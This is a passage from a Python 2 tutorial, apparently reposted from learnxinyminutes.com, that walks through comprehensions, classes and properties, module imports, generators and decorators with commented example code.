[6, 7] # We can use list comprehensions for nice maps and filters [add_10(i) for i in [1, 2, 3]] # => [11, 12, 13] [x for x in [3, 4, 5, 6, 7] if x > 5] # => [6, 7] # You can construct set and dict comprehensions as well. {x for x in 'abcddeef' if x in 'abc'} # => {'a', 'b', 'c'} {x: x ** 2 for x in range(5)} # => {0: 0, 1: 1, 2: 4, 3: 9, 4: 16} #################################################### # 5. Classes #################################################### # We subclass from object to get a class. class Human(object): # A class attribute. It is shared by all instances of this class species = "H. sapiens" # Basic initializer, this is called when this class is instantiated. # Note that the double leading and trailing underscores denote objects # or attributes that are used by python but that live in user-controlled # namespaces. You should not invent such names on your own. def __init__(self, name): # Assign the argument to the instance's name attribute self.name = name # Initialize property self.age = 0 # An instance method. All methods take "self" as the first argument def say(self, msg): return "{0}: {1}".format(self.name, msg) # A class method is shared among all instances # They are called with the calling class as the first argument @classmethod def get_species(cls): return cls.species # A static method is called without a class or instance reference @staticmethod def grunt(): return "*grunt*" # A property is just like a getter. # It turns the method age() into an read-only attribute # of the same name. @property def age(self): return self._age # This allows the property to be set @age.setter def age(self, age): self._age = age # This allows the property to be deleted @age.deleter def age(self): del self._age # Instantiate a class i = Human(name="Ian") print i.say("hi") # prints out "Ian: hi" j = Human("Joel") print j.say("hello") # prints out "Joel: hello" # Call our class method i.get_species() # => "H. sapiens" # Change the shared attribute Human.species = "H. neanderthalensis" i.get_species() # => "H. neanderthalensis" j.get_species() # => "H. neanderthalensis" # Call the static method Human.grunt() # => "*grunt*" # Update the property i.age = 42 # Get the property i.age # => 42 # Delete the property del i.age i.age # => raises an AttributeError #################################################### # 6. Modules #################################################### # You can import modules import math print math.sqrt(16) # => 4 # You can get specific functions from a module from math import ceil, floor print ceil(3.7) # => 4.0 print floor(3.7) # => 3.0 # You can import all functions from a module. # Warning: this is not recommended from math import * # You can shorten module names import math as m math.sqrt(16) == m.sqrt(16) # => True # you can also test that the functions are equivalent from math import sqrt math.sqrt == m.sqrt == sqrt # => True # Python modules are just ordinary python files. You # can write your own, and import them. The name of the # module is the same as the name of the file. # You can find out which functions and attributes # defines a module. import math dir(math) # If you have a Python script named math.py in the same # folder as your current script, the file math.py will # be loaded instead of the built-in Python module. # This happens because the local folder has priority # over Python's built-in libraries. #################################################### # 7. Advanced #################################################### # Generators # A generator "generates" values as they are requested instead of storing # everything up front # The following method (*NOT* a generator) will double all values and store it # in `double_arr`. For large size of iterables, that might get huge! def double_numbers(iterable): double_arr = [] for i in iterable: double_arr.append(i + i) return double_arr # Running the following would mean we'll double all values first and return all # of them back to be checked by our condition for value in double_numbers(range(1000000)): # `test_non_generator` print value if value > 5: break # We could instead use a generator to "generate" the doubled value as the item # is being requested def double_numbers_generator(iterable): for i in iterable: yield i + i # Running the same code as before, but with a generator, now allows us to iterate # over the values and doubling them one by one as they are being consumed by # our logic. Hence as soon as we see a value > 5, we break out of the # loop and don't need to double most of the values sent in (MUCH FASTER!) for value in double_numbers_generator(xrange(1000000)): # `test_generator` print value if value > 5: break # BTW: did you notice the use of `range` in `test_non_generator` and `xrange` in `test_generator`? # Just as `double_numbers_generator` is the generator version of `double_numbers` # We have `xrange` as the generator version of `range` # `range` would return back and array with 1000000 values for us to use # `xrange` would generate 1000000 values for us as we request / iterate over those items # Just as you can create a list comprehension, you can create generator # comprehensions as well. values = (-x for x in [1, 2, 3, 4, 5]) for x in values: print(x) # prints -1 -2 -3 -4 -5 to console/terminal # You can also cast a generator comprehension directly to a list. values = (-x for x in [1, 2, 3, 4, 5]) gen_to_list = list(values) print(gen_to_list) # => [-1, -2, -3, -4, -5] # Decorators # A decorator is a higher order function, which accepts and returns a function. # Simple usage example – add_apples decorator will add 'Apple' element into # fruits list returned by get_fruits target function. def add_apples(func): def get_fruits(): fruits = func() fruits.append('Apple') return fruits return get_fruits @add_apples def get_fruits(): return ['Banana', 'Mango', 'Orange'] # Prints out the list of fruits with 'Apple' element in it: # Banana, Mango, Orange, Apple print ', '.join(get_fruits()) # in this example beg wraps say # Beg will call say. If say_please is True then it will change the returned # message from functools import wraps def beg(target_function): @wraps(target_function) def wrapper(*args, **kwargs): msg, say_please = target_function(*args, **kwargs) if say_please: return "{} {}".format(msg, "Please! I am poor :(") return msg return wrapper @beg def say(say_please=False): msg = "Can you buy me a beer?" return msg, say_please print say() # Can you buy me a beer? print say(say_please=True) # Can you buy me a beer? Please! I am poor :( Sursa: https://learnxinyminutes.com/docs/python/
×
×
  • Create New...